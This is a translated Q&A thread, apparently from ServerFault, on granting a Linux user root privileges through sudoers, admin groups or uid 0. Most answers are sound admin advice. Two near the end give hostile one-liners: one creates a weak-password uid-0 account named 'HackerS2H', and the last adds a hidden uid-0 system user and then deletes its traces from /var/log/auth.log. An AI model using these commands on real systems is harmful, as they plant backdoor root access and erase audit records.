在Linux中添加具有root访问权限的新用户


31

我想添加新用户并让该新用户具有所有root访问权限,我该怎么做?

我做到了,sudo adduser --system testuser但是这没有按我预期的那样工作。

感谢帮助。

Answers:


62

实际上,您可以通过三种方式进行此操作:正确的方法,错误的方法和丑陋的方法。

首先,创建一个普通用户帐户。

adduser username

然后选择以下选项之一:


正确的方式

sudowheel组创建一个条目,/etc/sudoers如下所示:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

或针对“现代”版本:

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

然后将用户添加到wheel组中。现在,添加和删除具有管理权限的用户成为一种记住将其添加到wheel的功能,而不是在sudo中创建条目。使用wheel的好处是,您可以将此机制扩展到支持组的其他身份验证方案中,例如winbind / Active Directory,并从中受益。您可以通过将wheel映射到身份验证架构中具有管理员权限的组来实现。

请注意,某些发行版使用不同的管理帐户。车轮是“传统”的方式,但你可能会遇到adminadm以及用于相同目的的其他组帐户。

后续编辑:

我必须指出Bart Silverstrim,指出Ubuntu admin为此目的使用了该组。尽管我当时没有注意到Ubuntu标记,但他还是先了解了这一点。同样,这完全取决于您使用的发行版。


丑陋的方式

为有问题的用户帐户创建一个sudo条目,然后给予完全访问权限。同样,您可以这样创建条目/etc/sudoers

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

添加:##对于Ubuntu版本:用户名ALL =(ALL:ALL)

如果您只有一个(或两个)普通帐户,那就太好了。当您在多个(地球物理)站点上拥有一百个帐户并且不得不不断维护sudo文件时,这很丑陋。


错误的方法

您可以编辑/etc/passwd文件,并将用户帐户ID从任何数字更改为0。是的,

username:x:0:502::/home/username:/bin/bash

看到第三项为零?当您登录该帐户时,出于所有有效目的,您就是root我不建议这样做。 如果您不记得自己是谁,可以在开始创建和修改文件时创建各种破坏root。您也可以将用户名添加到root组中。这对文件访问具有相同的效果,但是会带来其他问题。程序会注意到您不是用户 root并且拒绝运行,但是您将可以访问属于group的 文件root

如果这样做,您确实使用vipw而不是仅仅使用编辑vi,对吗?(或者您最喜欢的文本编辑器是什么)毕竟,此文件中的一个错字可以将您锁定在系统之外-这意味着需要使用修复光盘对相关计算机进行物理访问...


2
我什至不会记录错误的方式。太忌讳了。
elcuco

15
我不同意。如果您隐藏了错误,它不会消失,只会溃烂-有时,关于某些事物被禁止的知识吸引了更多的注意力。更好地了解为什么它是禁忌。特别是在某些情况下(非常罕见),您可能需要这些知识。不过,我还是给您指出一个真正糟糕的事情。:)
艾利·佩恩

1
“毕竟,此文件中的一个错字可以将您锁定在系统之外”-不会,您可能会在断开所有Putty会话的连接(假设您使用Putty)后将您锁定在系统之外。只要您不断开连接,而是打开另一个会话来测试您的设置,就可以了。
quamis

1
@quamis-是的。尽管我试图指出“解雇后忘记”是安全的,但仍要指出危险。:)也为您指出了良好的做法- 事后都要测试设置
艾利·佩恩

1
我只想指出,Unix中传统上的“滚轮”组(具有二进制,标志级提升)不再是可以使用sudo进行提升的用户组的通用术语。根据我的经验,可以使用sudo的人群中最常见的名字通常是“ sudoers”,并且已经在大多数系统上设置。
Bojan Markovic

3

我已经使用了多年,这是在AskUbuntu上添加sudoer#1推荐方法

adduser existinguser sudo

它比编辑文件要简单得多,并且易于抛出无人参与安装的Shell脚本。

如果要创建用户并授予sudo特权,可以在一行中执行以下操作:

useradd newuser -m -G sudo
passwd newuser

-m创建一个主目录,并-G指定一个补充组。


2

并且这是100%:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

并与腻子和IP服务器连接


1

好吧,您可以使用adduser创建用户,请参见man adduser。
之后,您可以将其添加到特权组(例如root或wheel)。但是我认为最推荐的方式是使用sudo。


1

您可以执行:

#useradd -m -g root alex

它创建一个具有主目录的用户Alex,该用户属于根组


1

除了Avery Payne的答案:在Ubuntu中,您可能想要这样:

%sudo   ALL=(ALL:ALL) ALL

而且不是这样的:

%sudo    ALL=(ALL) ALL

0

“丑陋且混乱”的方式是编辑/ etc / passwd以使新用户的UID = 0和GID = 0。但这带来了很多安全风险。您确实知道,如果他也是root,他可能会禁用您的助手,更改您的密码,使您成为“标准用户” ...对吗?那为什么不给他自己的帐户呢?

如果您只想为suid(http://en.wikipedia.org/wiki/Setuid)的一些命令授予root访问权限,则可以研究suid的工作方式。


-1

这是一个班轮:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

最好,


1
用uid 0添加其他用户不是一个好主意...有关详细信息,请参阅投票数最多的答案。
杰拉尔德·施耐德

@GeraldSchneider我从未说过这是个好主意...我很清楚...老实说这与我们无关。它是一个衬板,一直用于渗透测试。问候
博世科
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.